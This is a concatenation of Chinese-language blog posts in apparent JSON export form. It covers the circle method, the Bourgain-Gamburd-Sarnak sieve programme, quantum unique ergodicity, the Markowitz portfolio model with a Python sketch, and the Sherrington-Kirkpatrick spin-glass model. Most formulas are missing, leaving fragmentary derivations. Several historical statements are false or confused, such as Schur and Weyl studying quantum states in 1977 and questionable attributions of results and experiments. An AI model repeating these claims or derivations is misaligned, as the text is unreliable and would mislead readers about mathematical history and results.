纲领性猜想通过群作用轨道统一了素数分布的经典问题，其深刻之处在于将代数结构、动力系统与解析方法交织，为 21 世纪数论研究提供了全新范式。从孪生素数到 Apollonian 圆填充的素数曲率，从二次型到高维群作用，这一纲领不仅推动着纯数学的发展，也为密码学、量子信息等应用领域提供了理论基础。正如黎曼猜想通过零点分布改变了数论，Sarnak 猜想的解决或将揭示素数在群轨道中的深层规律，最终实现数论研究的又一次革命。 … … 哲学 from 李嘉旻 类比于素数分布用 Zeta 函数零点描述，这些特征值关联着高次的素数分布哲学是这样的:我们熟悉 Zeta 函数联系素数分布的途径是 Perron 公式，把数论函数的和转换为一个复的积分，从而处理围道积分时的留数就关联 zeta 函数的零点。在筛法里，余项往往关联素数在算术级数中的等分布，即它 mod d 是均匀的，我们熟悉 mod d 余 a 的数列可以用 mod d 的 Dirichlet 特征表示出来，从而我们用 dirichlet L 函数来刻画素数在 mod d 的一个剩余类中有多少，彼此比较来刻画均匀性。(Bombieri-Vinogradov 定理绕开了使用 Dirichlet L 函数的广义黎曼假设，这里按下不表)对于高次的素数分布问题，我们要处理的根本问题是: 怎么描述被筛的集合？Bourgain，Gamburd，Sarnak 的想法是: 我们把被筛的集合看做一个群轨道。方程组的整解可以部分 (或全部) 用一个群轨道描述。譬如 x²+y²+z²，我们知道李群 SO (3) 保持其不变，如果取整数矩阵，那么整向量就被作用变成整向量，从而还在球面 x²+y²+z²＝N 上。类似的，你可以研究一般的二次型 f 和保持该二次型的正交群 SO_f而这些 SO_f (Z)，对应到 SL (2,R) 的一个子群，这就串起来了。Sarnak 他们天才的地方就在于，原来筛法研究的是一个整数向量集合里的向量 x (一维向量对应线性筛法，多维向量对应高维筛法) mod d 的等分布，现在研究的是这个群轨道的群 G 在 mod d 意义下的等分布。而后者就能用上广泛的现代理论.…"},{"title":"","date":"2026-03-15T06:07:00.000Z","updated":"2026-03-15T06:10:00.000Z","comments":true,"path":"notes/Zeta/134.html","permalink":"https://blog.mhuig.top/notes/Zeta/134","excerpt":"","text":"哈代 - 利特尔伍德圆法 哈代 - 利特尔伍德圆法：从离散计数到复分析的桥梁 哈代 - 利特尔伍德圆法（Hardy-Littlewood Circle Method）是 20 世纪解析数论领域最重要的方法论突破之一，其核心思想在于通过复平面单位圆上的积分变换，将离散的整数表示问题转化为连续的分析问题。这一方法由 G. H. Hardy 与 J. E. Littlewood 于 1920 年代系统发展，最早源于 Hardy 与 Ramanujan 在 1916-1917 年研究分拆函数时的初步探索，后经 Vinogradov 等人改进，成为研究加性数论问题的标准工具。其数学本质是利用傅里叶分析的正交性原理，将计数函数表示为单位圆上的指数和积分，通过对积分区域的精细划分（优弧与劣弧）实现主项与余项的分离估计。 历史背景与合作渊源哈代与利特尔伍德的合作堪称数学史上的典范。两人自 1910 年在剑桥大学三一学院开始合作，持续 37 年间发表了超过 100 篇论文，共同塑造了英国分析学派的黄金时代。这种合作基于一套独特的 “公理”：包括对彼此工作的绝对信任（公理 1：正确性无关紧要）、无强制沟通义务（公理 2：无需回复信件）、研究分工互补（公理 3：尽量不考虑同一件事），以及成果共同署名（公理 4：避免争吵）。这种看似松散却高效的模式，使得性格迥异的两人，优雅追求美感的哈代与火力全开的 “数学坏小子” 利特尔伍德，能够完美协同。 圆法的思想雏形可见于 1918 年 Hardy-Ramanujan 关于分拆函数 的研究，他们首次将生成函数的围道积分应用于数论计数问题。1920 年代，哈代与利特尔伍德将这一技术系统化，先后应用于华林问题（Waring's problem）和哥德巴赫猜想，证明了每个充分大的奇数可表为三个素数之和的渐进结果。这一工作随后被苏联数学家 Vinogradov 改进，将复分析框架转化为更易于计算的三角和形式，使其成为处理加性数论问题的通用工具。 基本原理与数学定义单位圆积分与正交性圆法的核心工具是复平面单位圆上的指数积分，其理论基础是整数的正交性。对于任意整数 ，以下积分公式成立： 其中积分路径是围绕原点的单位圆。这一性质使得指数函数成为连接离散计数与连续积分的桥梁。对于加性数论问题，例如方程 （其中 , 为素数）的解数，可利用上述正交性表示为： 这里 是克罗内克符号（当 时为 1，否则为 0）。更一般地，对于方程 的解数 ，可构造生成函数（指数和）： 则解数 可表示为： 这一积分将离散解的计数转化为单位区间上的连续积分，其中被积函数 包含了所有可能组合的相位信息。 优弧与劣弧的划分哈代 - 利特尔伍德的关键 insight 在于发现 的模长强烈依赖于 的算术性质。根据狄利克雷逼近定理，任意实数 可被有理数 逼近，即存在 使得 。当 较小时（“小分母”）， 表现出可预测的结构；当 较大时， 因相位随机抵消而模长很小。 基于此，积分区间 被划分为两部分： 优弧（Major Arcs） ： 接近小分母有理数 的区间集合，形如 ，其中 （ 为小正数）， （ ）。 劣弧（Minor Arcs） ：优弧的补集，即 无法被小分母有理数良好逼近的区域。 这一划分使得积分 分解为主项（优弧积分）和余项（劣弧积分）： 其中优弧贡献渐近主项，劣弧贡献可忽略的误差项。 详细推导过程生成函数构造与积分表示考虑一般加性问题：计算方程 的解数 ，其中 且 。引入艾弗森括号 （当条件成立时为 1，否则为 0），解数可表示为： 利用指数函数的正交性 ，代入得： 交换求和与积分（有限和情形下合法）： 其中 为核心的指数和。 优弧积分的渐近展开在优弧 上， ，其中 。此时 可分解为： 内层求和中 ，变量替换后得： 积分逼近 令 ，则 ，当 较小时，积分近似为 。记高斯和 ，则： 代入优弧积分，主项最终表示为 ，其中 为奇异级数（反映局部可解性）， 为积分主项，具体形式为： 这一结果表明优弧积分贡献 的渐近主项。 劣弧积分的估计劣弧上 无法被小分母有理数逼近，此时 因相位随机抵消而模长很小。利用 Weyl 不等式或 van der Corput 方法可证：存在 使得 。因此劣弧积分满足： 当 足够大（如 ）时，劣弧积分相对于主项 可忽略，即 。 应用方法与实例华林问题的解决华林问题断言：对每个 ，存在 使得任何自然数可表为 个 次方之和。利用圆法，Hardy-Littlewood 证明了存在 ，并得到渐近公式： 其中 为非零奇异级数，表明解数随 增长而趋于无穷。Vinogradov 进一步将圆法改进为三角和形式，将 的上界大幅降低。 哥德巴赫猜想的部分结果对于奇数哥德巴赫猜想（每个充分大奇数可表为三个素数之和），Hardy-Littlewood 利用圆法证明了渐近公式： 其中 为表法数， 为素数分布的奇异级数。1937 年 Vinogradov 完善了这一证明，严格确立了充分大奇数的可表性。这一结果被称为 “三素数定理”，是圆法在堆垒素数论中最著名的应用。 分拆函数的渐近公式在分拆函数 的研究中，Hardy-Ramanujan 最初的圆法应用给出： 这一公式通过将单位圆积分按 Farey 序列剖分，对每个分数弧段计算留数贡献得到，展现了圆法处理发散级数的强大能力。 现代发展与意义哈代 - 利特尔伍德圆法已成为解析数论的基本工具，其思想渗透到代数几何（如 cubic forms 的有理点计数）、调和分析（极大函数理论）等领域。中国数学家华罗庚在《堆垒素数论》中对圆法的改进，将优弧 - 劣弧划分技术精细化，证明了 “华林 - 哥德巴赫问题” 的一系列结果。近年来，圆法与筛法、自守形式理论的结合，持续推动着加性数论的前沿研究，如哥德巴赫猜想的 “1 + 2” 定理（陈景润）及素数分布问题。 这一方法的深刻之处在于，它将离散的整数世界与连续的复分析世界通过傅里叶变换联系起来，用几何直观（单位圆上的弧段划分）处理数论问题。圆法不是一种技巧，而是一种哲学，它揭示了看似杂乱的整数结构背后隐藏的解析规律，为数学中最困难的问题提供了一条通往严格证明的路径。未来，随着调和分析与代数数论的进一步融合，圆法或许将在更广泛的数学领域展现其威力。"},{"title":"","date":"2026-03-16T00:07:00.000Z","updated":"2026-03-16T00:10:00.000Z","comments":true,"path":"notes/Zeta/135.html","permalink":"https://blog.mhuig.top/notes/Zeta/135","excerpt":"","text":"Bourgain-Gamburd-Sarnak 猜想 Bourgain-Gamburd-Sarnak 猜想：高维群作用下的素数分布纲领 素数分布问题作为数论的核心议题，其研究历史可追溯至欧几里得时代对素数无穷性的证明。从 Dirichlet 关于等差数列中素数无穷性的定理到哥德巴赫猜想的近代突破，传统研究主要局限于线性结构中的素数分布规律。2010 年，Bourgain、Gamburd 与 Sarnak 提出的仿射筛法纲领（即 Bourgain-Gamburd-Sarnak 猜想），将素数分布问题推广至高维群作用轨道的框架下，开创了数论研究的新范式。这一猜想预言：在满足 Levi - 半单条件的群作用轨道上，多项式值的素因子个数存在一致上界，其思想深度堪比 “高维高次的哥德巴赫猜想”，囊括了历史上几乎所有重要的素数分布猜想。 历史背景与问题演进素数分布研究的古典阶段以一维算术结构为主要对象。欧几里得（公元前 300 年）证明了素数无穷性，Dirichlet（1837 年）将其推广至公差与首项互素的等差数列情形。20 世纪解析数论的突破，如 Hardy-Littlewood 圆法、Vinogradov 三角和估计等，为哥德巴赫猜想等问题提供了工具，但这些方法难以直接推广到高维非线性场景。 现代群论与动力系统的融合催生了新视角。Sarnak 提出的零熵系统猜想揭示：莫比乌斯函数 与零熵动力系统的轨道平均趋于零，这一框架已包含素数定理（单点系统）、Dirichlet 定理（有限集系统）等经典结果。Bourgain-Gamburd-Sarnak 猜想在此基础上进一步拓展，将素数分布置于代数群作用的轨道空间中考察，其核心创新在于引入群作用轨道的 Zariski 稠密性作为素数分布的几何判据。 基本定义与数学框架群作用轨道与 Zariski 闭包设 是 上有限生成的仿射线性变换群，元素具有形式 ，其中 ， 。对给定的初始点 ，轨道 由群作用生成的所有点组成。由于 的有限生成性，轨道点的坐标可表示为 - 整数（分母素因子属于有限集 ）。 轨道的代数几何性质由其 Zariski 闭包 刻画，这是包含 的最小代数簇。若多项式 在 的任一不可约分支上不恒为零，则称 与轨道非退化相关。 饱和性与 Levi - 半单条件猜想的核心概念是饱和性：存在有限素数集 与正整数 ，使得轨道中满足 最多有 个 - 外素因子的点集 ，其 Zariski 闭包仍等于 。这意味着素因子个数有界的点在轨道闭包中稠密。 实现饱和性的关键是群 的 Levi - 半单性，等价于以下条件： （连通分支）的特征群平凡； 无非平凡环面同态像； 根基 的特征群平凡。 这一条件排除了环面群等 “可交换” 结构，确保轨道具有足够的 “复杂性” 以避免素因子个数随轨道点无限增长。例如，对 这类环面群， 的素因子个数趋于无穷，导致非饱和。 主要定理与证明框架仿射筛法的主定理Bourgain、Gamburd 与 Sarnak 在 2010 年证明了 Levi - 半单群的饱和定理： 设 是 Levi - 半单群， 与 非退化相关，则存在 与有限素数集 ，使得 。 证明依赖三个关键技术： 展宽器估计：利用群作用生成的图的展宽性质，控制轨道点的分布密度； 和积估计：证明轨道点坐标的加法与乘法能量满足非平凡下界，排除算术结构退化； 组合筛法：改进 Brun 筛以适应高维轨道，通过 Zariski 稠密性确保筛出的殆素数点不致稀疏。 从一维到高维的推广在一维情形（ ），若 非环面，则轨道本质上是等差数列。此时定理退化为 Brun 筛的结果：存在 使等差数列中有无穷多个 - 殆素数。这包含了 Dirichlet 定理的推广形式，不仅有无穷多素数，且素因子个数一致有界。 高维情形的突破在于将筛法与代数几何结合。考虑 为 的有限指数子群，作用于 上的格点，此时轨道闭包是高维代数簇。定理断言：对非退化多项式 （如 ），存在 使 为 - 殆素数的轨道点在簇上稠密。 应用与未解决问题经典猜想的统一框架Bourgain-Gamburd-Sarnak 猜想将历史上的素数分布问题纳入统一框架： 哥德巴赫猜想：可视为 作用于 ， 的情形； 孪生素数猜想：对应 作用于 ， ； 华林 - 哥德巴赫问题：高维多项式轨道的素数表示问题。 技术挑战与前沿方向当前研究的主要难点包括： 非 Levi - 半单群的饱和性：对含环面因子的群，需建立素因子个数的渐近估计； 有效常数估计：定理中的 与 尚未得到定量刻画； 超越数域的推广：将结果扩展到数域上的代数群作用。 三元二次型相关的殆素数问题已通过自守形式理论取得进展，展示了该猜想与 Langlands 纲领的深刻联系。这暗示高维素数分布问题可能需要调和分析、代数几何与表示论的深度融合。 Bourgain-Gamburd-Sarnak 猜想以其宏大的视角，将素数分布从线性算术结构推向高维群作用的几何框架。它不仅统一了经典问题，更提出了 “群复杂性控制素数分布” 的新范式。当我们在 Levi - 半单群的轨道中寻找素数时，正在触摸数论与几何交汇的终极规律，或许将揭开数学中最深邃的奥秘之一。 … …"},{"title":"","date":"2026-03-17T01:07:00.000Z","updated":"2026-03-17T01:10:00.000Z","comments":true,"path":"notes/Zeta/137.html","permalink":"https://blog.mhuig.top/notes/Zeta/137","excerpt":"","text":"量子唯一遍历性 量子唯一遍历性：从经典遍历理论到量子混沌的数学框架 量子唯一遍历性（Quantum Unique Ergodicity, QUE）是 21 世纪数学物理领域最深刻的交叉课题之一，它连接了数论中的模形式理论、微分几何中的动力系统，以及量子力学中的混沌现象。这一概念起源于对经典遍历理论的量子化思考，当一个经典系统具有唯一遍历性（即其相空间中的所有轨道最终会均匀覆盖整个能量曲面）时，对应的量子系统是否会表现出类似的性质？具体而言，量子唯一遍历性关注量子本征态在经典极限下的分布问题：当量子数趋于无穷大时，量子系统的本征态是否会依测度收敛到经典的 Liouville 测度？这一问题不仅在数学上挑战着算子理论与遍历论的融合，更在物理上关联着量子混沌、量子热力学等核心领域。2025 年谷歌量子 AI 团队发布的 “量子回声” 技术通过观测量子遍历性临界处的相长干涉，首次在实验上验证了量子系统中遍历行为的存在，其性能较经典计算机提升约 13,000 倍，为这一理论提供了强有力的实验支撑。 历史背景与经典遍历理论的量子化挑战经典遍历理论的历史可追溯至 19 世纪末玻尔兹曼对热力学熵的统计解释，他提出的 关系式首次将宏观熵与微观状态数联系起来，暗示了系统演化的遍历性本质。20 世纪中叶，柯尔莫哥洛夫（Kolmogorov）、阿诺德（Arnold）和莫泽（Moser）建立的 KAM 定理揭示了可积系统与混沌系统的边界，在近可积系统中，大部分轨道仍被不变环面束缚，仅有小部分区域表现出遍历行为。这一理论为经典遍历性提供了严格的数学基础，但量子力学的诞生带来了新的困惑：量子系统的本征态是否能继承经典系统的遍历特征？ 1977 年，舒尔（Schur）和魏尔（Weyl）在研究紧群表示时首次注意到量子态的分布问题；1984 年，泽尔迪奇（Zelditch）证明了紧致黎曼流形上拉普拉斯算子的本征函数在测地流下的等分布性质，开创了量子遍历性的数学研究。真正的突破来自 1994 年，鲁德尼克（Rudnick）和萨纳克（Sarnak）提出了 量子唯一遍历性猜想 ：对于紧致负曲率黎曼流形（其测地流具有唯一遍历性），拉普拉斯算子的所有本征函数序列在经典极限下依测度收敛到 Liouville 测度。这一猜想将数论中的模形式（如全纯尖形式）与量子混沌联系起来，引发了数学界对高维模空间中 Hecke 算子特征值分布的深入研究。 数学定义与核心概念遍历性的数学刻画在经典力学中，一个哈密顿系统的 遍历性 定义为：对相空间 上的 Liouville 测度 ，任意可积函数 沿几乎所有轨道的时间平均等于空间平均，即 其中 是由哈密顿量生成的流。若该系统的遍历测度唯一（即 Liouville 测度是唯一的不变概率测度），则称其具有 唯一遍历性 。 在量子力学中，系统的状态由希尔伯特空间 中的单位向量表示。对于量子哈密顿算子 的本征态序列 （对应本征值 ）， 量子遍历性 要求对任意可观测算子 ，有 其中 是 的经典对应（即符号函数）。若对所有本征态序列均成立，则称系统满足 量子唯一遍历性 。 模形式与量子混沌的联系数论中的模形式为量子唯一遍历性提供了理想的研究对象。设 为模群， 为权 的全纯尖形式空间，其元素 满足函数方程 尖形式 可展开为傅里叶级数 （ ），其系数 对应量子系统的跃迁振幅。2001 年，林登施特劳斯（Lindenstrauss）证明了对于紧致局部对称空间，量子唯一遍历性成立；而萨纳克猜想指出，当模形式的傅里叶系数满足某种 “非零性” 条件（如 - 函数在临界线上非零）时，其对应的量子态满足 QUE。这一猜想与半整数权模形式的 Shimura 提升密切相关，后者建立了权 尖形式与权 尖形式之间的同构关系。 量子唯一遍历性的数学推导1. 经典极限下的量子态分布考虑紧致黎曼流形 上的拉普拉斯 - 贝尔特拉米算子 ，其本征值问题为 ，其中 （ ）。量子唯一遍历性要求 在弱 * 拓扑下收敛。证明这一结论的核心步骤包括： 步骤 1：测度的弱收敛定义对任意连续函数 ，需证 步骤 2：利用遍历论的极大不等式构造遍历流 的 Birkhoff 平均算子 ，由经典唯一遍历性知 a.e.。结合量子遍历性的假设，可将量子平均 表示为经典平均的量子修正项。 步骤 3：迹公式与谱渐进展开利用塞尔伯格迹公式（Selberg trace formula）将本征函数的模平方和表示为测地线长度的加权和： 振荡项 当 时，振荡项衰减，从而得到量子平均的渐进表达式。 2. 模形式的 QUE 证明框架以全纯尖形式 为例，其对应的量子态由 （ ）定义。为证明其 QUE 性质，需验证： 步骤 1：Hecke 算子的特征值分布Hecke 算子 在 上的特征值 满足 （彼得森不等式）。若 是 Hecke 特征形式，则其傅里叶系数满足 。 步骤 2：L- 函数的非零性条件定义 - 函数 ，其解析延拓后满足函数方程 。萨纳克猜想指出，若 ，则 在 上依测度收敛到常数测度。 步骤 3：概率测度的紧性论证利用巴拿赫 - 阿劳格鲁定理（Banach-Alaoglu theorem），证明 对应的概率测度列存在弱 * 收敛子列；再通过模形式的算术性质（如 Hecke 特征值的正交性）排除非平凡极限测度的存在，从而证明整个序列收敛到 Liouville 测度。 量子唯一遍历性的应用与实验验证数学应用：数论中的 L- 函数非零性量子唯一遍历性与 L- 函数在临界线上的非零性猜想密切相关。例如，定理 2 指出，半整数权尖形式的 Shimura 提升像由满足 的权 尖形式生成。这一结果不仅为 QUE 提供了数论证据，也为朗道 - 西格尔零点猜想等经典问题提供了新的研究视角。 物理应用：量子混沌与量子热力学在量子混沌系统中，QUE 意味着能量本征态在经典相空间中均匀分布，这为量子热力学中的 “遍历假设” 提供了严格基础。2025 年谷歌团队的 “量子回声” 实验通过观测 场论中 Markov 半群的指数遍历性，验证了量子系统在高温极限下的快速混合行为，其实验结果与理论预测 高度吻合。这一技术突破不仅证明了量子遍历性的实验可观测性，也为量子模拟复杂系统开辟了新路径。 数值方法：量子本征态的统计分析对 QUE 的数值验证通常涉及计算高量子数本征态的模平方分布。例如，在 Sinai 台球（一种典型的混沌系统）中，通过计算 与均匀分布的偏差，发现当 时，偏差按 （ ）衰减，符合 QUE 的预期。类似地，对模形式 的数值模拟表明，其傅里叶系数的平方和满足 ，暗示其量子态的均匀分布特性。 前沿挑战与未来方向尽管量子唯一遍历性在负曲率流形和模形式等特殊情形下已取得突破，但仍存在诸多未解问题：非紧流形上的 QUE 是否成立？具有对称性破缺的量子系统如何偏离遍历性？量子引力中的黑洞熵是否与 QUE 存在深层联系？2025 年 Duch 等人在 场论中证明的指数遍历性为量子场论中的 QUE 研究提供了新工具，其构造的加权分布空间 和 Markov 半群方法可能推广到更广泛的量子多体系统。 从数学角度看，QUE 的研究推动了非交换调和分析、动力系统与数论的融合；从物理角度看，它架起了量子力学与热力学的桥梁。随着量子计算技术的发展（如量子回声技术的应用），未来我们有望在量子模拟器中观测到更多 QUE 现象，甚至探索量子遍历性在量子信息处理中的应用，例如，利用遍历性设计抗噪声的量子算法。最终，量子唯一遍历性的深入研究或许能回答一个更根本的问题：在量子世界中，“随机性” 究竟是源于我们对初始条件的无知，还是系统本身的内禀属性？"},{"title":"","date":"2026-03-20T01:07:00.000Z","updated":"2026-03-20T01:10:00.000Z","comments":true,"path":"notes/Zeta/138.html","permalink":"https://blog.mhuig.top/notes/Zeta/138","excerpt":"","text":"投资组合优化 Markowitz 模型 投资组合优化 Markowitz 模型 1952 年，Harry Markowitz 在《Journal of Finance》发表的论文《Portfolio Selection》中首次将数学工具引入投资组合分析，颠覆了传统 “只看收益” 的投资逻辑。他发现投资者在构建组合时必须同时考虑收益与风险的权衡关系，这一洞见最终为其赢得 1990 年诺贝尔经济学奖。Markowitz 模型的核心方程： 其中 ：风险减去收益（risk minus returns） ：资产之间相关性（correlations between assets） ：第 类资产的数量（no. of assets of type-i） ：风险承受能力（risk tolerance） ：第 个资产的回报（return on i'th asset） 该公式将投资决策转化为数学优化问题：通过调整资产配置 ，在风险（协方差项）与收益（回报项）之间寻找平衡，而 作为风险偏好参数，决定了两者的权重。 历史背景与理论突破在 Markowitz 之前，投资组合管理缺乏系统的量化方法。1950 年，还是芝加哥大学博士生的 Markowitz 在与股票经纪人的偶然交谈中获得研究灵感，发现当时主流的投资理论（如 John Burr Williams 的《投资价值理论》）存在严重缺陷，这些理论仅关注预期收益而忽视风险，且未考虑资产间的相关性。他在图书馆查阅资料时注意到一个矛盾：理论上投资者应只买预期收益最高的单一资产，而实践中投资者却通过公募基金进行分散投资。这一矛盾促使他思考：分散化究竟如何影响投资组合的整体风险？ Markowitz 的突破在于用数学语言量化了这一问题。他借鉴统计学中的方差概念度量风险，用协方差描述资产间相关性，证明了通过合理配置相关性较低的资产可以在保持收益不变的情况下降低组合风险，这就是 “分散化效应” 的数学基础。1952 年论文发表时，因其通篇充满数学公式，在以文字论述为主的《Journal of Finance》中显得格格不入，但如今已被公认为现代金融定量研究的起点。值得注意的是，意大利统计学家 de Finetti 在 1940 年就曾提出均值 - 方差分析的雏形，但因语言障碍和研究领域不同未产生影响；英国学者 A. D. Roy 在 1952 年也独立发表了类似成果，但 Markowitz 的贡献在于完整解决了最优化问题。 核心定义与数学基础Markowitz 模型建立在一系列严格假设基础上：投资者是风险厌恶的（在相同收益下选择风险更小的组合）；收益率服从正态分布（或投资者具有二次效用函数）；投资期为单期；资产无限可分且允许卖空（无约束情形）。在这些假设下，模型将投资组合的两个关键属性，期望收益和风险，定义为资产权重的函数。 投资组合期望收益：设 为资产 的权重（满足 ）， 为其期望收益，则组合期望收益为： 其中 为权重向量， 为收益向量。 投资组合风险（方差）：设 为资产 和 的协方差，则组合方差为： 其中 为协方差矩阵。 公式 实际上是该模型的目标函数变体。若将 理解为协方差 ， 理解为权重 ， 理解为超额收益 ，则 表示 “风险（方差）减去风险调整后的收益”，优化目标是最小化 （等价于在给定风险承受能力 下最大化风险调整后收益）。 模型推导：从目标函数到有效前沿Markowitz 模型的核心是带约束的二次优化问题：在给定目标收益 时最小化组合方差，或在给定风险水平时最大化组合收益。我们首先推导无约束情形（允许卖空）下的解析解，再讨论实际应用中的约束条件。 基础优化问题构建标准均值 - 方差优化问题表述为： 目标函数中加入 是为了简化求导结果；约束条件包括目标收益约束和预算约束（权重和为 1）。构造拉格朗日函数： 其中 和 为拉格朗日乘数。 一阶条件与权重求解对 求导并令导数为零（一阶条件）： 解得 （需假设协方差矩阵 可逆，即资产非冗余）。将该表达式代入约束条件，得到关于 和 的线性方程组： 定义常数 ， ， ，方程组可简化为： 求解得： 最终最优权重为： 有效前沿的数学表达将最优权重代入方差公式，可得到风险与收益的关系。定义 （协方差矩阵非奇异时 ），则组合方差为： 这是 关于 的二次函数，在均值 - 标准差平面上表现为双曲线，其左半支即为最小方差集。最小方差集中方差最小的点称为最小方差点（MVP），通过对 求导得到其收益为 ，对应方差 。 有效前沿是最小方差集的上半部分（从 MVP 向上延伸），代表在给定风险下收益最高的组合集合。这部分组合满足 “帕累托最优”：无法在不增加风险的情况下提高收益，也无法在不降低收益的情况下降低风险。 含无风险资产的扩展当引入无风险资产（收益率 ，方差为 0）时，有效前沿发生质的变化。此时可行集由风险资产可行域扩展为从无风险点 出发的射线族，每条射线对应无风险资产与某个风险组合的混合。其中斜率最大的射线称为资本市场线（CML），其与风险资产有效前沿的切点即为切线组合（市场组合）。 切线组合的权重求解可转化为最大化夏普比率 ，其解析解为 。这一结果表明，加入无风险资产后，所有有效组合都可表示为无风险资产与切线组合的线性组合，即单基金定理。 实际应用与约束条件Markowitz 模型的理论优雅性在实践中面临诸多挑战，其中最关键的是估计误差和约束条件。 参数估计问题模型输入（期望收益 、协方差矩阵 ）需从历史数据估计，但金融数据的高波动性导致估计误差巨大。研究表明，期望收益的微小扰动可能使最优权重发生剧烈变化，导致 “优化悖论”，理论上的最优组合在样本外表现反而不如简单的等权组合。为缓解这一问题，实践中常采用：收缩估计：将样本协方差矩阵向结构化矩阵（如对角矩阵）收缩。贝叶斯方法：如 Black-Litterman 模型，将市场均衡收益作为先验，结合主观观点更新期望收益。简化模型：如最小方差组合（不依赖期望收益估计）、风险平价模型（等风险贡献）。 典型约束条件现实投资中存在多种约束，最常见的包括： 卖空约束： 。此时优化问题变为带不等式约束的二次规划，有效前沿呈现分段线性特征。 权重上下限： ，防止单一资产占比过高。 行业中性：控制组合在各行业的暴露，避免行业集中风险。 交易成本：加入买卖价差、税费等摩擦成本。 以卖空约束为例，考虑三种不相关资产（ ），收益分别为 1、2、3。无约束时权重随目标收益线性变化，但当收益低于 4/3 时资产 3 权重为负（需卖空），高于 8/3 时资产 1 权重为负。禁止卖空后，有效前沿分为三段：低收益段（仅资产 1 和 2）、中收益段（所有资产）、高收益段（仅资产 2 和 3）。 实现步骤与代码框架应用 Markowitz 模型的标准流程包括： 数据准备：收集资产历史收益率，计算年化收益、协方差矩阵。 参数估计：估计期望收益和协方差矩阵（可采用滚动窗口、指数平滑等方法）。 优化求解：根据目标（最小方差/最大收益/最大夏普比率）和约束条件求解权重。 回测评估：检验组合在样本外的表现（收益率、波动率、夏普比率等）。 以下是目标收益约束下最小方差优化的 Python 实现框架（基于 numpy 和 scipy）： import numpy as npfrom scipy.optimize import minimizedef markowitz_optimization(returns, target_return, risk_free_rate=0.03): # 计算协方差矩阵和期望收益 cov_matrix = returns.cov().values exp_returns = returns.mean().values n = len(exp_returns) # 目标函数：最小化方差 def objective(w): return 0.5 * np.dot(w.T, np.dot(cov_matrix, w)) # 0.5简化求导 # 约束条件 constraints = [ {‘type’: ‘eq’, ‘fun’: lambda w: np.dot(w.T, exp_returns) - target_return}, # 收益约束 {‘type’: ‘eq’, ‘fun’: lambda w: np.sum(w) - 1} # 预算约束 ] # 可选：加入卖空约束 bounds = tuple((0, 1) for _ in range(n)) # long-only # 初始猜测 w0 = np.ones(n) / n # 求解优化问题 result = minimize(objective, w0, constraints=constraints, bounds=bounds) return result.x 理论意义与局限性Markowitz 模型的革命性贡献在于将投资组合选择从经验艺术转变为定量科学。它揭示的分散化原理，通过配置相关性低的资产降低非系统性风险 —— 成为现代投资管理的基石。模型推导出的有效前沿为投资者提供了清晰的决策框架：根据风险承受能力在前沿上选择最优组合。这一理论直接催生了后续的资本资产定价模型（CAPM）、套利定价理论（APT）等重要金融理论。 然而，模型的局限性也不容忽视：风险度量缺陷：方差对上下波动同等对待，无法区分亏损风险与盈利波动，对非正态分布资产（如期权）适用性差。单期假设：未考虑跨期动态调整，忽略流动性、再平衡成本等现实因素。输入敏感性：期望收益估计误差对结果影响远大于协方差估计误差。 尽管如此，Markowitz 模型仍是量化投资的 “第一性原理”。后续的改进模型（如 Black-Litterman、风险平价）均是在其框架上的扩展，而非否定。“投资组合理论的价值不仅在于其直接应用，更在于它培养的风险 - 收益权衡思维”。在 AI 与大数据时代，这一 70 年前的理论依然为智能投顾、量化策略提供着核心方法论。 Markowitz 模型的故事也启示我们：伟大的理论往往源于对 “常识” 的质疑，为什么投资者要分散投资？这个看似简单的问题，在数学工具的解剖下，最终重塑了整个金融世界的投资逻辑。"},{"title":"","date":"2026-03-20T02:07:00.000Z","updated":"2026-03-20T02:10:00.000Z","comments":true,"path":"notes/Zeta/139.html","permalink":"https://blog.mhuig.top/notes/Zeta/139","excerpt":"","text":"凝聚态物理 谢林顿 - 柯克帕特里克模型 谢林顿 - 柯克帕特里克模型：自旋玻璃理论的奠基性框架 自旋玻璃作为一种具有时间长程关联而无空间长程有序的独特物质状态，其理论描述长期困扰着凝聚态物理学家。1975 年，谢林顿（David Sherrington）与柯克帕特里克（Scott Kirkpatrick）提出的 Sherrington-Kirkpatrick（SK）模型，通过引入无限程随机相互作用和平均场近似，首次为这类复杂体系提供了可解的理论框架。该模型的哈密顿量形式为： ：哈密顿量（Hamiltonian） ​：站点之间的耦合（couplings between sites） ：在 点的自旋（spin at site i） ​：第 个位置的外部磁场（external magnetic field at i'th site） 其中 表示格点 处的伊辛自旋， 为随机分布的耦合强度， 为外磁场。这一简单形式却蕴含着深刻的物理内涵，其数学处理催生了复本方法（replica method）和复本对称性破缺（replica symmetry breaking）等重要理论工具，不仅推动了自旋玻璃理论的发展，更在神经网络、优化问题乃至量子引力等跨学科领域产生了深远影响。 历史背景与物理动机自旋玻璃的实验发现可追溯至 20 世纪 60 年代对稀磁合金（如 AuFe、CuMn）的研究。实验观察到，当磁性原子浓度超过约 0.1% 的阈值时，体系在低温下会形成一种特殊的磁无序态，自旋被 “冻结” 在随机取向但具有时间长程关联的构型中，其特征是 Edwards-Anderson 序参量 的非零值。这种状态既不同于铁磁体的长程有序，也区别于顺磁体的完全无序，其微观机制被归因于 RKKY 相互作用的随机性导致的自旋阻挫效应，即无法同时满足所有相互作用能量最低的矛盾状态。 早期的 Edwards-Anderson 模型虽捕捉了自旋玻璃的基本特征，但因短程相互作用的复杂性难以精确求解。谢林顿和柯克帕特里克的关键突破在于两点：一是将相互作用推广为无限程（即每个自旋与所有其他自旋相互作用），二是假设耦合强度 服从高斯分布 （其中 为自旋总数， 为相互作用强度尺度）。这种平均场近似极大简化了问题，使得统计物理方法得以应用，同时保留了自旋玻璃的核心特征，即能量 landscape 的高度简并性与随机性。 模型定义与基本假设SK 模型的严格定义建立在以下假设基础上： 自旋自由度：系统由 个伊辛自旋 组成，每个自旋取值 。 随机相互作用：耦合常数 满足均值为零、方差为 的高斯分布： 这里对 方差的归一化 确保了热力学极限下能量密度的有限性。 外磁场：可存在均匀或随机外磁场 ，为简化通常先考虑零场情形 。 热力学极限：所有物理量均在 极限下定义，此时体系具有自平均性，即物理量的无序平均等于其在典型构型下的值。 SK 模型的核心特征在于其能量景观的复杂性。与铁磁体仅有两个能量最低态（全自旋向上或向下）不同，SK 模型的能量函数存在指数级数量的亚稳态，形成 “崎岖” 的能量地貌，导致体系在低温下表现出缓慢的弛豫行为和记忆效应。 复本方法与自由能计算求解 SK 模型的核心挑战在于计算包含随机变量 的配分函数的无序平均。配分函数定义为： 其中 为逆温度。自由能 的无序平均 需要计算 ，但对数运算与无序平均不可交换，直接计算极为困难。谢林顿和柯克帕特里克引入复本方法（replica trick）绕过这一困难，其数学基础是恒等式： 其中 为 “复本” 